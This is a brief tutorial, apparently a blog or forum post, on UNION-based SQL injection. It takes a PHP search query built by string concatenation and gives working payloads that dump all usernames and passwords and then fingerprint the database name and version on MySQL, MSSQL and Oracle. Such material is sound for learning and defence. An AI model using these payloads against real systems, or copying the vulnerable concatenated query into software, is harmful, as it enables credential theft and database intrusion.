Let's say you've got a query like this:
$q="SELECT username, joindate FROM users WHERE username LIKE '%" . $search . "%' LIMIT 20";
Now imagine you control
$search via a parameter. We would usually make it return the user passwords in the
joindate field like this:
$search="' UNION SELECT username, password FROM users; -- -";
As such the query becomes:
SELECT username, joindate FROM users WHERE username LIKE '%' UNION SELECT username, password FROM users; -- - %' LIMIT 20
The part after the double-hyphen is a comment, so it's ignored, and we get all the username and password combinations appended as new records at the end of the dataset, after the legitimate records. Awesome!
But now we want to adapt this so we can find the database name, for further investigation of their database. On MySQL, we can use the
$search="' UNION SELECT DATABASE(), 1; -- -";
The use of
1 here is to pad the
joindate field, which we aren't using.
On MSSQL we can do exactly the same, but with
$search="' UNION SELECT DB_NAME(), 1; -- -";
Both of these tricks will append a single row to the end of the result set, containing the database name.
We can then expand this trick to use
VERSION() on MySQL or
@@VERSION on MSSQL, which returns the current database version. For Oracle and PL/SQL you can check for the existence of the
v$version table, simply by doing a query on it and checking for an error.